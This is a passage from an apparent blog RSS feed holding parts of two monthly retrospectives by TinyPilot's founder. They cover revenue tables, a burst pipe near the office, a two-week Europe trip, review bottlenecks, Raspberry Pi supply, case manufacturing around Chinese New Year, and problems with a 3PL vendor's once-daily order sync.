 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$5,689.93&lt;/td>
 &lt;td>$3,935.73&lt;/td>
 &lt;td>&lt;font color="red">-$1,754.20 (-31%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$72,401.15&lt;/td>
 &lt;td>$76,811.58&lt;/td>
 &lt;td>&lt;font color="green">+$4,410.43 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,552.79&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32,905.55&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$24,352.76 (+285%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>We&amp;rsquo;re in a strange position of growing revenues despite me trying to constrain sales. The fulfillment team doesn&amp;rsquo;t have enough hours to fulfill more orders on top of their other responsibilities. It could just be that word of mouth always drives our sales up, or it could be that more customers are buying because of the additional features we added in the last couple of months.&lt;/p>
&lt;p>I expect we could reach $90k in monthly revenue once we shift fulfillment to a 3PL vendor. We&amp;rsquo;re currently limited by fulfillment capacity, but once we transition to a 3PL, that bottleneck disappears.&lt;/p>
&lt;p>We&amp;rsquo;re in our seventh consecutive month of positive profit (well, the trailing three-month average, since our profits are bursty). At this rate, we&amp;rsquo;ll comfortably exceed &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#earn-100k-in-profit">my 2023 goal for $100k in profit&lt;/a>.&lt;/p>
&lt;h2 id="are-you-the-tinypilot-guy">&amp;ldquo;Are you the TinyPilot guy?&amp;rdquo;&lt;/h2>
&lt;p>On a Saturday afternoon last month, I was in my home office when I heard a knock on my front door. I answered it in my pajamas to find a guy in his mid-forties on my doorstep. &amp;ldquo;Are you the TinyPilot guy?&amp;rdquo; he asked.&lt;/p>
&lt;p>Uh oh. Who&amp;rsquo;s showing up unannounced at my house to ask about TinyPilot?&lt;/p>
&lt;p>I tried to recall any recent customer interactions that might have led someone to track me down and beat me up. I didn&amp;rsquo;t remember anything.&lt;/p>
&lt;p>&amp;ldquo;Yes&amp;hellip;&amp;rdquo; I said, cautiously. The mysterious visitor explained that he was the handyman at TinyPilot&amp;rsquo;s office building. He didn&amp;rsquo;t have my phone number, but he was able to find my home address.&lt;/p>
&lt;p>&amp;ldquo;A pipe burst at the office, and we can&amp;rsquo;t get into your suite. Can you come down?&amp;rdquo;&lt;/p>
&lt;p>That didn&amp;rsquo;t sound good.&lt;/p>
&lt;p>I got in the car to follow him to the TinyPilot office, mentally calculating whether the company could survive if 100% of our inventory was soaked in water. Even if we got an insurance payout, the turnaround time on manufacturing would leave us out of commission for months.&lt;/p>
&lt;p>When I arrived on our floor, I saw that the sprinklers had gone off in the conference room adjacent to TinyPilot. I unlocked the TinyPilot office and breathed a sigh of relief. No water had gotten into our suite at all.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/03/office-damage.webp">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/03/office-damage_hu_a0e4aafac509a03b.webp 300w, https://mtlynch.io/retrospectives/2023/03/office-damage_hu_854c0b835c749452.webp 600w, https://mtlynch.io/retrospectives/2023/03/office-damage_hu_d37324b4a784a6e4.webp 800w, https://mtlynch.io/retrospectives/2023/03/office-damage_hu_a7640b65cff57daf.webp 1200w, https://mtlynch.io/retrospectives/2023/03/office-damage.webp 1200w'
 src="https://mtlynch.io/retrospectives/2023/03/office-damage.webp" alt="Photo of a room with ceiling, carpets, and furniture all removed" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>A pipe exploded in the office adjacent to TinyPilot&amp;rsquo;s, destroying everything inside.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>They said we couldn&amp;rsquo;t enter our suite for a few days until the fire department signed off on it, as the building no longer had sprinklers. On Monday, I called the landlord, and he said we could resume our normal use of the office.&lt;/p>
&lt;p>I thought that was the end of it, but a few days later, a member of the fulfillment team asked me if we were moving. &amp;ldquo;No&amp;hellip; why?&amp;rdquo; I asked. &amp;ldquo;Oh, the handyman said in passing that we might have to move.&amp;rdquo;&lt;/p>
&lt;p>Uh oh.&lt;/p>
&lt;p>I called the landlord to find out what was going on. He said — very nonchalantly, mind you — that yes, we might have to move into a new office before Tuesday. And this conversation was happening on Friday.&lt;/p>
&lt;p>Because of water damage, my landlord explained, the builders might have to replace one of our walls. But not to worry — he had a spare office we could use. The new office was 40% smaller than our current office, and our current office was at 80% capacity, so that wouldn&amp;rsquo;t be fun. I asked how long we&amp;rsquo;d be in the smaller office. He had no idea.&lt;/p>
&lt;p>For the next few days, the landlord was fairly blasé about whether we&amp;rsquo;d have to completely relocate on a couple days&amp;rsquo; notice. And that was tricky because I was about to &lt;a href="#my-longest-tinypilot-vacation">go to Europe for two weeks&lt;/a>, so I wouldn&amp;rsquo;t be available to set up the IT infrastructure in a new office.&lt;/p>
&lt;p>I called every day leading up to my trip to ask what the plan was with the wall, and my landlord never had an answer for me. I decided to move just the computers, printers, and networking equipment to the spare office because that was the only part that would be risky without me there.&lt;/p>
&lt;p>A week later, we got word that our wall could stay up, so we wouldn&amp;rsquo;t need to move. The fulfillment team lost about a day of work, and I lost another two in contingency planning, but the uncertainty was stressful.&lt;/p>
&lt;p>The situation was also a strong motivation to migrate fulfillment to our new 3PL. I&amp;rsquo;d love to be out of the position of fulfillment grinding to a halt because something goes wrong at our office. A pipe could still burst at our 3PL, but then moving things around to get back up and running would become someone else&amp;rsquo;s problem.&lt;/p>
&lt;h2 id="my-longest-tinypilot-vacation">My longest TinyPilot vacation&lt;/h2>
&lt;p>In February, I took my longest vacation since starting TinyPilot. I was traveling in Europe for just over two weeks.&lt;/p>
&lt;p>The trip began with a wedding I attended in Tübingen, Germany. During this time, I didn&amp;rsquo;t check work emails at all.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/03/tubingen.webp">
 &lt;img
 
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/03/tubingen_hu_d1c2f0caaad49012.webp 300w, https://mtlynch.io/retrospectives/2023/03/tubingen_hu_d38699ad0f287959.webp 600w, https://mtlynch.io/retrospectives/2023/03/tubingen_hu_c1f92648498dbecc.webp 800w, https://mtlynch.io/retrospectives/2023/03/tubingen_hu_dfa1f4f99885bea9.webp 1200w, https://mtlynch.io/retrospectives/2023/03/tubingen.webp 1200w'
 src="https://mtlynch.io/retrospectives/2023/03/tubingen.webp" alt="Photo of me in a Germany town square" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Attending a wedding at town hall in Tubingen, Germany&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Many of the people I work with for TinyPilot live in Europe, so I stayed for another week for what I called my &amp;ldquo;TinyPilot tour of Europe.&amp;rdquo; It consisted of:&lt;/p>
&lt;ul>
&lt;li>Two nights in Karlsruhe, Germany to visit &lt;a href="https://kvm-ip.de">punkt.de&lt;/a>, TinyPilot&amp;rsquo;s European distributor&lt;/li>
&lt;li>Two nights in Berlin, Germany to visit one of TinyPilot&amp;rsquo;s developers&lt;/li>
&lt;li>Two nights in London, England to visit both of TinyPilot&amp;rsquo;s support engineers&lt;/li>
&lt;/ul>
&lt;p>The trip was a test of how TinyPilot functions without me, and it went &lt;em>mostly&lt;/em> well. Orders went out on time, and users received normal support.&lt;/p>
&lt;p>My longest vacation from TinyPilot (as in not checking TinyPilot emails at all) was previously five days, and this was 11, followed by another week on the road with inconsistent Internet access.&lt;/p>
&lt;h3 id="for-the-local-staff">For the local staff&lt;/h3>
&lt;p>The fulfillment team stayed on top of orders, but they were working nearly at capacity. We&amp;rsquo;re still catching up on the &lt;a href="https://mtlynch.io/retrospectives/2023/02/#getting-metal-cases-in-the-nick-of-time">switch to the Voyager 2a&lt;/a>, which takes 30% longer to assemble. For the first time, we&amp;rsquo;re allowing users to trade in old devices for a discount, which adds load to the fulfillment team. &lt;a href="#are-you-the-tinypilot-guy">Our office situation&lt;/a> certainly didn&amp;rsquo;t help matters.&lt;/p>
&lt;p>So, fulfillment was fine, but we had less breathing room than I&amp;rsquo;d like. If someone had gotten sick for a few days, we&amp;rsquo;d have struggled.&lt;/p>
&lt;p>Again, this experience was strong motivation to migrate fulfillment to a 3PL. With a third-party vendor handling fulfillment, there are much fewer time-sensitive tasks we have to handle ourselves, so we&amp;rsquo;ll be more robust against short-term stresses or absences.&lt;/p>
&lt;h3 id="for-the-support-engineering-team">For the support engineering team&lt;/h3>
&lt;p>TinyPilot&amp;rsquo;s technical support team functioned well without me. During normal operations, the support engineers have the option to escalate issues to me. Without me available, they handled issues independently, and users still received high-quality support.&lt;/p>
&lt;p>The support engineering team did experience an &amp;ldquo;outage&amp;rdquo; in that there was a period when nobody was available to answer technical questions. One of the support engineers had planned time off during two days of my vacation, and then the last engineer got sick in that same window.&lt;/p>
&lt;p>I don&amp;rsquo;t think there&amp;rsquo;s much I can do to prevent outages like this with a team of our size. It&amp;rsquo;s rare, but it&amp;rsquo;s possible for three people to need time off at the same time.&lt;/p>
&lt;p>The team felt bad about the outage, so the most actionable lesson was clarifying expectations that outages like this are my problem and not theirs. I don&amp;rsquo;t want to leave customers without technical support, but it&amp;rsquo;s more important to me to respect team members&amp;rsquo; time off so they don&amp;rsquo;t feel pressured to work during vacation time or when they&amp;rsquo;re ill.&lt;/p>
&lt;h3 id="for-the-dev-team">For the dev team&lt;/h3>
&lt;p>The dev team worked smoothly while I was traveling. There were a few minor tasks blocked on a decision from me, but the team knew enough about the product roadmap that they could proceed forward without me.&lt;/p>
&lt;p>I&amp;rsquo;ve been working for the past few years to give the dev team more autonomy and responsibility, so I was happy to see that my absence didn&amp;rsquo;t slow them down much.&lt;/p>
&lt;h2 id="proactive-work-from-the-team-generates-reactive-work-for-the-founder">Proactive work from the team generates reactive work for the founder&lt;/h2>
&lt;p>Over the last few months, I&amp;rsquo;ve been thinking a lot about the balance between &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#run-at-50-capacity">reactive and proactive work&lt;/a> at TinyPilot.&lt;/p>
&lt;p>Answering a support ticket is a good example of reactive work. It&amp;rsquo;s time-sensitive, but it&amp;rsquo;s low-impact as it only helps one user who sent the email. A proactive task would be fixing the product or improving documentation so that users don&amp;rsquo;t need to file a support ticket to solve their problem.&lt;/p>
&lt;p>I didn&amp;rsquo;t realize until recently that employees&amp;rsquo; proactive work usually results in reactive work for me. For example, when a support engineer writes a new tutorial, that&amp;rsquo;s useful proactive work, but I need to review it, which is a reactive task for me.&lt;/p>
&lt;p>Reviewing documentation is time-sensitive because I want to provide feedback on the work while it&amp;rsquo;s still fresh in the author&amp;rsquo;s mind. I also find it more mentally taxing to give notes on writing than to write the same thing myself. When I see a subtle problem in someone else&amp;rsquo;s writing, I have a hard time identifying and articulating the issues I see.&lt;/p>
&lt;p>In the past few months, I&amp;rsquo;ve increasingly become the bottleneck on the team&amp;rsquo;s proactive tasks. I keep asking myself whether I should get out of the way and let the team write the way they write, but I keep deciding on &amp;ldquo;no.&amp;rdquo; I place a premium on our documentation, and it&amp;rsquo;s important that we keep it consistent.&lt;/p>
&lt;p>We went through a similar process with the dev team. In the beginning, I was reviewing every code change. About five months in, we switched to &lt;a href="https://mtlynch.io/retrospectives/2021/08/#allow-developers-to-review-each-others-pull-requests">peer reviews&lt;/a> for code changes, and now I&amp;rsquo;m out of the critical path on most software development work.&lt;/p>
&lt;p>I&amp;rsquo;m hopeful that we&amp;rsquo;ll go through a similar progression on the support engineering team. There&amp;rsquo;s a steep learning curve to writing in the style I want, but if we keep investing in it, my teammates will learn the style I want and peer review each other&amp;rsquo;s writing internally.&lt;/p>
&lt;p>My takeaway is that I need to consider my bandwidth even when delegating tasks. Certain tasks generate work that&amp;rsquo;s difficult for me to review, so I need to take into account whether I&amp;rsquo;ll have time to give it a quality review when the work is complete.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Took a two-week personal/work trip.&lt;/li>
&lt;li>Signed a contract with our new 3PL vendor.&lt;/li>
&lt;li>Shipped &lt;a href="https://tinypilotkvm.com/pro/changes#253">TinyPilot Pro 2.5.3&lt;/a>, which adds audio streaming.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When assigning tasks, consider how much bandwidth I&amp;rsquo;ll need to review.
&lt;ul>
&lt;li>Even if the initial work can happen without me, some tasks require a lot of effort to review.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Transition fulfillment of a low-volume product to our new 3PL.&lt;/li>
&lt;li>Present at &lt;a href="https://nerdsummit.org/">NERD Summit 2023&lt;/a>.&lt;/li>
&lt;li>Reduce load on fulfillment team so that reactive tasks occupy less than 80% of their time.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;div class="notice notice-info">
 I&amp;rsquo;m trying a new idea this month where I announce ways readers can help me. If you&amp;rsquo;re a fan of this blog and can connect me with people that are a match for what I&amp;rsquo;m looking for, &lt;a href="https://mtlynch.io/about/">email me&lt;/a>.
&lt;/div>

&lt;p>As I explore the process of &lt;a href="https://mtlynch.io/retrospectives/2022/10/#what-happens-in-the-tinypilot-office">shifting manufacturing to China&lt;/a>, I&amp;rsquo;m discovering that it&amp;rsquo;s a larger undertaking than I expected, involving many areas where I have no experience.&lt;/p>
&lt;p>If you know someone with experience manufacturing electronics at the scale of 500 to 5,000 units per month, I&amp;rsquo;d love to speak with them. I&amp;rsquo;m open to taking on a co-founder, hiring a consultant, or just having a casual chat with someone who wants to share their expertise.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 31</title><link>https://mtlynch.io/retrospectives/2023/02/</link><pubDate>Fri, 17 Feb 2023 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2023/02/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot began shipping a new product: the &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2a">Voyager 2a&lt;/a>.&lt;/li>
&lt;li>I canceled our contract with a new 3PL vendor a few weeks into the relationship.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $60-80k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilot began shipping a new product: the &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2a">Voyager 2a&lt;/a>.&lt;/li>
&lt;li>I canceled our contract with a new 3PL vendor a few weeks into the relationship.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="ship-the-first-voyager-2a-device">Ship the first Voyager 2a device&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We began shipping the &lt;a href="https://tinypilotkvm.com/product/tinypilot-voyager2a">Voyager 2a&lt;/a>.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>The Voyager 2a ended up being TinyPilot&amp;rsquo;s smoothest release ever. For previous launches, we&amp;rsquo;ve always forgotten a few small things and had to scramble at the last minute. For the 2a, we&amp;rsquo;d been preparing since December for everything that needed to happen, and they all happened.&lt;/p>
&lt;h3 id="prepare-to-transition-fulfillment-to-our-3pl-vendor-in-february">Prepare to transition fulfillment to our 3PL vendor in February&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We canceled our contract with the 3PL vendor.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>Sadly, once we started working with the 3PL, we found serious gaps in their workflows. More details on that &lt;a href="#hiccups-in-transitioning-to-a-3pl-vendor">below&lt;/a>.&lt;/p>
&lt;h3 id="write-my-fifth-annual-retrospective">Write my fifth &lt;a href="https://mtlynch.io/tags/annual-review/">annual retrospective&lt;/a>&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">published it&lt;/a> 10 days late, but I&amp;rsquo;m happy with the result.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A-&lt;/li>
&lt;/ul>
&lt;p>I had a tough time writing my annual review this year. The final post was 2.5k words, but I probably threw out 5-8k words in rejected drafts. I kept finding myself writing long sections only to realize the story required 1,500 words of boring background information for 200 words of reflection.&lt;/p>
&lt;p>I felt like the version I published did a good job of covering the major topics of the year without going too far down the rabbit hole on complicated stories.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2022&lt;/th>
 &lt;th>January 2023&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,308&lt;/td>
 &lt;td>8,092&lt;/td>
 &lt;td>&lt;font color="green">+784 (+11%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>15,549&lt;/td>
 &lt;td>16,665&lt;/td>
 &lt;td>&lt;font color="green">+1,116 (+7%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$66,092.24&lt;/td>
 &lt;td>$68,619.55&lt;/td>
 &lt;td>&lt;font color="green">+$2,527.31 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$2,798.97&lt;/td>
 &lt;td>$5,689.93&lt;/td>
 &lt;td>&lt;font color="green">+$2,890.96 (+103%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$69,181.91&lt;/td>
 &lt;td>$74,600.18&lt;/td>
 &lt;td>&lt;font color="green">+$5,418.27 (+8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$4,806.26&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$8,552.79&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$13,359.05 (+inf%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales are down from our peak at the end of last year, but that&amp;rsquo;s intentional. I&amp;rsquo;m scaling back advertising and keeping prices high on Amazon to compensate for our supply shortage and to reduce load on TinyPilot&amp;rsquo;s fulfillment staff while we transition to our new product.&lt;/p>
&lt;p>TinyPilot&amp;rsquo;s three-month average trailing profit has been positive for five straight months, its longest streak ever. I&amp;rsquo;m especially excited about January&amp;rsquo;s numbers because we had a healthy profit despite several major one-time costs and slower sales than I anticipate for the rest of the year. $8.5k/month puts me almost perfectly on track for &lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/#earn-100k-in-profit">my 2023 goal of $100k/yr in profit&lt;/a>.&lt;/p>
&lt;h2 id="increasing-production-from-140-to-200-devices-per-month">Increasing production from 140 to 200 devices per month&lt;/h2>
&lt;p>At the end of last year, I was told that TinyPilot &lt;a href="https://mtlynch.io/retrospectives/2023/01/#losing-450k-in-a-single-email">wouldn&amp;rsquo;t receive any new Raspberry Pi allocation&lt;/a> until September 2023. This limited our production capacity to about 140 TinyPilot devices per month until then. It was tough news, but I had a plan to work around it.&lt;/p>
&lt;p>Fortunately, we received word in January that we&amp;rsquo;d receive a small amount of new allocation, which increases our production capacity to 200/month. We have to purchase 8 GB Pis for nearly double the price, but I&amp;rsquo;ll happily pay a premium to continue selling new devices.&lt;/p>
&lt;p>I&amp;rsquo;m pleased with 200 devices/month as a target. We can comfortably sell at that rate while also having enough time and profit left over to invest in scaling faster when the supply shortage eases in September.&lt;/p>
&lt;h2 id="getting-metal-cases-in-the-nick-of-time">Getting metal cases in the nick of time&lt;/h2>
&lt;p>Every year, in late January or early February, China celebrates Chinese New Year. China takes its new year celebration seriously, so Chinese vendors shut down entirely. Some close for a couple of weeks, but others are unavailable for up to four weeks.&lt;/p>
&lt;p>TinyPilot purchases most of its raw materials from China, so I plan carefully around Chinese New Year. I have to place orders early enough that they&amp;rsquo;ll complete before things begin shutting down. I also need to order higher quantities so that I can survive the four-week blackout on placing new orders.&lt;/p>
&lt;p>In December, we were still finalizing the design for TinyPilot&amp;rsquo;s new metal cases. The manufacturer estimated that it would take 30 business days to complete the order, so we were bumping right up against the Chinese New Year danger zone.&lt;/p>
&lt;p>Whenever I&amp;rsquo;m ordering the first run of a custom product, I order the smallest quantity possible — about a four-week supply. In this case, the smallest quantity possible was four months&amp;rsquo; worth — I needed enough to last me through Chinese New Year plus the turnaround for the next manufacturing run.&lt;/p>
&lt;p>So, already, this is a stressful order. Even though we&amp;rsquo;d seen prototypes, many things can go wrong with a first production run, and I could end up with 1,000 unusably defective cases. That would also mean another four-month stretch on 3D printed cases, where we were paying a steep premium at a backup vendor to meet our excess demand.&lt;/p>
&lt;p>The other major risk was that the manufacturer would run late and wouldn&amp;rsquo;t ship anything before Chinese New Year. In the weeks leading up to the ship date, they weren&amp;rsquo;t giving any progress updates except to say that they still thought they&amp;rsquo;d meet the deadline. I requested that they ship a partial order if necessary, but they didn&amp;rsquo;t tell me whether that would make a difference.&lt;/p>
&lt;p>Finally, the Saturday after I thought they closed for the new year, I got an email asking me to send payment immediately for shipping fees. I did, and then a few days later, I received tracking numbers for the cases.&lt;/p>
&lt;p>A week later, the cases arrived! And to my great relief, the quality on all of them was just as good as the prototypes.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/02/new-cases.webp">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/02/new-cases_hu_c16661049ceb6e9d.webp 300w, https://mtlynch.io/retrospectives/2023/02/new-cases_hu_56ae34bb264efa19.webp 600w, https://mtlynch.io/retrospectives/2023/02/new-cases_hu_20455b9fd6ad5005.webp 800w, https://mtlynch.io/retrospectives/2023/02/new-cases_hu_35b7ac821f8957c0.webp 1200w, https://mtlynch.io/retrospectives/2023/02/new-cases.webp 1200w'
 src="https://mtlynch.io/retrospectives/2023/02/new-cases.webp" alt="Photo of a TinyPilot metal case in a cardboard box full of other cases" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>One of our 16 boxes of new cases&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>We were able to ship the Voyager 2a as planned, and we have enough cases to last us until we receive the second manufacturing batch.&lt;/p>
&lt;h2 id="hiccups-in-transitioning-to-a-3pl-vendor">Hiccups in transitioning to a 3PL vendor&lt;/h2>
&lt;p>One of my goals for the year is to move TinyPilot&amp;rsquo;s in-house fulfillment process &lt;a href="https://mtlynch.io/retrospectives/2022/11/#exploring-the-world-of-3pl-vendors">to an external shipping warehouse&lt;/a>. These businesses are known as &amp;ldquo;3PLs&amp;rdquo;: third-party logistics providers.&lt;/p>
&lt;p>In December, we started shifting our fulfillment to a 3PL vendor, and things got off to a great start. They were a small business, and all of their customers were small businesses. It seemed like we were well-matched, and they understood our needs.&lt;/p>
&lt;p>Then, they gave me instructions for integrating with their warehouse management software, Veracore. The instructions were a PDF, which was the first red flag. When I logged into the system, I found an ASP app that looked like it hadn&amp;rsquo;t been updated in 20 years.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2023/02/veracore-instructions.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2023/02/veracore-instructions_hu_eafb6969e93a2b19.png 300w, https://mtlynch.io/retrospectives/2023/02/veracore-instructions_hu_5adc81a4fc96d1c1.png 600w, https://mtlynch.io/retrospectives/2023/02/veracore-instructions_hu_cc14b726c5fdc481.png 800w, https://mtlynch.io/retrospectives/2023/02/veracore-instructions_hu_74b12526f0aaaf2a.png 1200w, https://mtlynch.io/retrospectives/2023/02/veracore-instructions.png 2042w'
 src="https://mtlynch.io/retrospectives/2023/02/veracore-instructions.png" alt="A page from Veracore&amp;#39;s PDF instructions showing horrible ASP app screenshots" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Veracore&amp;rsquo;s onboarding instructions PDF with screenshots of its web interface&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Seeing horribly outdated software certainly gave me pause, but I told myself it would be fine. The TinyPilot team would continue managing orders in Shopify. Veracore was how the 3PL would synchronize with our system, but I didn&amp;rsquo;t expect to use it much myself.&lt;/p>
&lt;p>We decided to start by shifting our low-volume product over to the 3PL: the &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">TinyPilot Power Connector&lt;/a>. It&amp;rsquo;s 1/10th the cost of our main product, and we only sell 30-40 per month. It was a low-risk way to test out the 3PL&amp;rsquo;s workflows end-to-end.&lt;/p>
&lt;p>After flipping on order processing at the 3PL, our first Power Connector order came in at 5 PM on Christmas. Obviously, it wouldn&amp;rsquo;t go out that day due to the holiday, so I checked the order the following afternoon. It still showed as unfulfilled in Shopify, but that was fine. Maybe they were closed the day after Christmas too.&lt;/p>
&lt;p>By 3 PM on the 27th, the order still hadn&amp;rsquo;t shipped. I emailed the 3PL to verify the order was coming through on their end. They assured me that everything was working fine, but Veracore only syncs its order status back to Shopify once per day. We&amp;rsquo;d see Shopify update with fulfillment status and tracking numbers by 8 PM.&lt;/p>
&lt;p>Once per day? Why wouldn&amp;rsquo;t Veracore just mark orders as fulfilled as soon as they print the shipping label? That would give us the information in real time.&lt;/p>
&lt;p>Still, I thought it should be fine. They have a hundred customers who are happy with this system. What did I &lt;em>really&lt;/em> need real-time fulfillment information for, anyway?&lt;/p>
&lt;h3 id="what-if-a-customer-changes-their-order">What if a customer changes their order?&lt;/h3>
&lt;p>Every 30 orders or so, a customer requests changes. Sometimes, they realize they mistyped their shipping address. Sometimes, they&amp;rsquo;ve changed their mind entirely and want to cancel the order.&lt;/p>
&lt;p>In TinyPilot&amp;rsquo;s current system, these requests are easy to handle. The two TinyPilot employees who handle customer support requests are the same people who fulfill orders. As long as we haven&amp;rsquo;t shipped out their order already, we just make the change in Shopify and continue our normal process.&lt;/p>
&lt;p>When we transitioned to the 3PL, this is where that &amp;ldquo;sync once per day&amp;rdquo; issue came back to bite us. If a customer emailed us requesting changes, now we don&amp;rsquo;t know if the order has been fulfilled or not. The information we see in Shopify is up to 24 hours out of date.&lt;/p>
&lt;p>The 3PL&amp;rsquo;s solution was that we email the employee at the 3PL who handles our orders and let them know about any order changes. That felt like a terrible system.&lt;/p>
&lt;p>Currently, Shopify is our &amp;ldquo;source of truth.&amp;rdquo; We can rely on Shopify being the authoritative location where everyone shares information about an order. Starting a parallel discussion over email would spread information into multiple silos that are hard to sync.&lt;/p>
&lt;p>I also wasn&amp;rsquo;t crazy about emailing an individual rather than a team. What happens if that person is sick or on vacation? The 3PL said that someone else usually checks that person&amp;rsquo;s email. Usually?&lt;/p>
&lt;h3 id="what-if-the-customer-pays-in-a-non-standard-way">What if the customer pays in a non-standard way?&lt;/h3>
&lt;p>There are two common ways that customers purchase from TinyPilot outside of our website&amp;rsquo;s standard checkout flow:&lt;/p>
&lt;ol>
